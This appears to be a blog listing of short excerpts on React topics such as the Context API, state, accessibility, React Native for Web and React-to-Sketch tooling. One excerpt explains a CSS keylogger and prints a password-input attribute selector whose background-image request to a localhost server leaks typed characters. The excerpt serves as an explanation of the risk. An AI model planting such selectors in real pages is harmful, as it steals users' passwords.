If you have been in the React ecosystem for a while, there is a possibility that you have heard about Higher Order Components. Let’s look at a simple implementation while also trying to explain the core idea. From here you should get a good idea of how they work and even put them to use.
I’ve recently published my first ever open source npm package! It makes SVG illustrations from unDraw into customizable React components.
In this video tutorial, Wes Bos looks into the new context API and the problem that it’s trying to solve:
React 16.3 has a new Context API which makes accessing data and functions anywhere in your application a snap. If you ever find yourself passing data down via props 4-5 levels deep, context might be what you are looking for.
Don’t forget about Neal Fennimore’s recent post on putting things into context. It covers the concept in great detail and provides some workarounds for the quirks you might encounter when using it.
I've been having the time of my life with React lately. But on my journey, I’ve had a hard time finding good code style guidelines to keep the mix of JSX and JS clean and readable. I've been coming up with my own style guides that I'd love to share. Maybe these will be useful to you and, of course, feel free to share similar guidelines in the comment thread below.
Context is currently an experimental API for React - but soon to be a first class citizen! There are a lot of reasons it is interesting but perhaps the most is that it allows for parent components to pass data implicitly to their children, no matter how deep the component tree is. In other words, data can be added to a parent component and then any child can tap into it.
As you begin to learn React, you will be faced with understanding what state is. State is hugely important in React, and perhaps a big reason you’ve looked into using React in the first place. Let’s take a stab at understanding what state is and how it works.
Have you ever lost your voice? How did you handle that? Perhaps you carried a notebook and pen to scribble notes. Or jotted quick texts on your phone.
Have you ever traveled somewhere that you didn't speak or understand the language everyone around you was speaking? How did you order food, or buy a train ticket? Perhaps you used a translation phrasebook, or Google translate. Perhaps you relied mostly on physical gestures.
All of these solutions are examples of communication methods — tools and strategies — that you may have used before to solve everyday communicative challenges. The preceding examples are temporary solutions to temporary challenges. Your laryngitis cleared up. You returned home, where accomplishing daily tasks in your native tongue is almost effortless. Now imagine that these situational obstacles were somehow permanent.
How do we convince web developers that React Native has already solved many of the hardest GUI problems for them? Go back in time and release React Native before React DOM? Is there an easier way…
— Nicolas (@necolas) March 1, 2018
Like a lot of people in this Twitter thread, I didn't really understand that React Native was even for building on the web. I thought it was a way to write React to build native mobile apps. Nicolas has a whole "React Native for Web" repo though, explaining otherwise. Plus a conference talk.
It probably doesn't help that the tagline is "Build native mobile apps using JavaScript and React." I suppose, it does do that (e.g. build an iOS or Android app), but it also can build your web app, which could mean... single code base?
Several of the replies suggest "a better DOM" which is interesting. Or, as Nicolas points out, it's kinda like "web: the good parts" as much of it is an intentionally limited subset of the involved platforms in order to simplify things and make them interoperable.
Obviously, this isn't for every project. But, if you have a React-based website already, and either have or want a native mobile app, then it seems like this is worth exploring.
Scary little attack using essentially a bunch of attribute selectors like this:
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}At first, I was like wait a minute, you can't select inputs based on what people type in them but only what's set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});How useful and widespread is it to select inputs based on the value attribute like this? I'm not sure I would miss it if it got yanked.
Mark Dalgleish details how his team at seek tried to build a library of React components that could then be translated into Sketch documents. Why is that important though? Well, Mark describes the problems that his team faced like this:
...most design systems still have a fundamental flaw. Designers and developers continue to work in entirely different mediums. As a result, without constant, manual effort to keep them in sync, our code and design assets are constantly drifting further and further apart.
For companies working with design systems, it seems our industry is stuck with design tools that are essentially built for the wrong medium—completely unable to feed our development work back into the next round of design.
Mark then describes how his team went ahead and open-sourced html-sketchapp-cli, a command line tool for converting HTML documents into Sketch components. The idea is that this will ultimately save everyone from having to effectively copy and paste styles from the React components back to Sketch and vice-versa.
Looks like this is the second major stab at the React to Sketch. The last one that went around was AirBnB's React Sketch.app. We normally think of the end result of design tooling being the code, so it's fascinating to see people finding newfound value in moving the other direction.